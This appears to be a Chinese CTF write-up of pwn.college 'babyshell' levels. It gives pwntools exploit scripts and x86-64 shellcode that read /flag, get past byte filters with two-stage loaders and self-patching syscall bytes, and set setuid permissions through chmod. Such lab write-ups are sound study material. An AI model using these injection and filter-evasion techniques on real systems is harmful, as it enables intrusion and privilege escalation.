1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level='info'

r = process("/challenge/babyshell_level1")

r.recvuntil("[LEAK] Placing shellcode on the stack at 0x")
addr = int(r.recvline()[:-2], 16)
log.success("addr => {}".format(hex(addr)))

shellcode = shellcraft.amd64.open("/flag")
shellcode+= shellcraft.amd64.read('rax', addr+0x100, 0x100)
shellcode+= shellcraft.amd64.write(1, addr+0x100, 0x100)

payload = asm(shellcode, arch='amd64')

r.recv()
r.sendline(payload)
r.interactive()

2

payload = asm(shellcode, arch=’amd64’).rjust(0x900, b’\x90’)

3

想了好久后突然一个思路:先写一个read+jmp进去过过滤,然后再通过自己的read二次加载shellcode,别说,还挺好用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level='debug'

r = process(["/challenge/babyshell_level4"])

shellcode = """
/* call read(0, 0x1aed8500, 0x300) */
xor eax, eax /* SYS_read */
xor edi, edi /* 0 */
xor edx, edx
mov dh, 0x300 >> 8
mov esi, 0x1010101 /* 451773696 == 0x1aed8500 */
xor esi, 0x1bec8401
syscall
mov eax, 0x1aed8500
jmp rax
"""

shellcode2 = shellcraft.amd64.open("/flag")
shellcode2+= shellcraft.amd64.read("rax", 0x1aed8300, 100)
shellcode2+= shellcraft.amd64.write(1, 0x1aed8300, 100)



payload = asm(shellcode, arch='amd64')
log.success(str(payload))

r.recvuntil("Reading 0x1000 bytes from stdin.")
r.send(payload)
r.recv()
r.send(asm(shellcode2, arch='amd64'))
r.interactive()

5

如果获取eip想了半天,offset试了好久整不出来就很难受

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
context.log_level='debug'

r = process(["/challenge/babyshell_level5"])

shellcode = """
jmp READ
STA:
cmp qword ptr [rax], 0
je READ1
cmp byte ptr [rax], 0x0f
jne RES
add rax, 1
cmp byte ptr [rax], 0xef
jne RES
MOV BYTE PTR [rax], 0x05
add rax, 1
jmp STA

RES:
add rax, 1
jmp STA





DDD:
pop rax
jmp STA
READ:
call DDD
READ1:
/* open(file='/flag', oflag=0, mode=0) */
/* push b'/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push 2 /* 2 */
pop rax
syscall
/* call read('rax', 0x215e2500, 0x64) */
mov rdi, rax
xor eax, eax /* SYS_read */
push 0x64
pop rdx
mov esi, 0x1010101 /* 559817984 == 0x215e2500 */
xor esi, 0x205f2401
syscall
/* write(fd=1, buf=0x215e2500, n=0x64) */
push 1
pop rdi
push 0x64
pop rdx
mov esi, 0x1010101 /* 559817984 == 0x215e2500 */
xor esi, 0x205f2401
/* call write() */
push 1 /* 1 */
pop rax
syscall
"""

shellcode2 = shellcraft.amd64.open("/flag")
shellcode2+= shellcraft.amd64.read("rax", 0x215e2500, 100)
shellcode2+= shellcraft.amd64.write(1, 0x215e2500, 100)
# asm(shellcode2, arch='amd64')



payload = asm(shellcode, arch='amd64')
# log.success(str(payload))
print(type(payload))
print(payload)

i = 0
len = len(payload)
while i<len:
if payload[i]==0x0f and payload[i+1]==0x05:
payload = payload[:i+1] + b'\xef' + payload[i+2:]
i+=2
else:
i+=1

print(payload)




r.recvuntil("Reading 0x1000 bytes from stdin.")
r.send(payload)
r.recv()
# r.send(asm(shellcode2, arch='amd64'))
r.interactive()

6

和上个题限制一样,无非就是前0x1000个字节没有写权限,nop填充就好

9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='info'

r = process(["/challenge/babyshell_level9"])

path = './a'
argv = ['a']
envp = {}
print( shellcraft.amd64.execve(path).rstrip() )

# mov rax, 0x101010101010101
# push rax
# mov rax, 0x101010101010101 ^ 0x612f706d742f
# xor [rsp], rax
# mov rdi, rsp
# xor edx, edx /* 0 */
# xor esi, esi /* 0 */
# /* call execve() */
# push SYS_execve /* 0x3b */
# pop rax
# syscall



shellcode = '''
push 0x612f2e
mov rdi, rsp
jmp AAA
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
AAA:
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''
payload = asm(shellcode, arch='amd64')


r.recvuntil("bytes from stdin.\n")
r.send(payload)

r.interactive()

10

1
2
3
4
5
6
7
8
9
10
shellcode = '''
push 0x612f2e
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
'''

12

限制不能使用重复的字符

最终的办法是通过两次调用,先将一个文件的所属改为root用户,其次添加s位和可执行权限

PS: /home/hacker目录里好像不行,直接之前skr师傅有说过home目录是挂载上去的,我是在tmp目录里完成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'

r = process("/challenge/babyshell_level12")


# shellcode = shellcraft.amd64.chown("./a", 0)
shellcode = '''
/* chmod(file='./a', mode=0x309) */
/* push b'./a\x00' */
push 0x612f2e
mov rdi, rsp
xor esi, esi
mov si, 0xdc9
/* call chmod() */
push 90 /* chmod:90 chown:92 */
pop rax
syscall
'''

payload = asm(shellcode, arch='amd64')
r.recv()
r.send(payload)

r.interactive()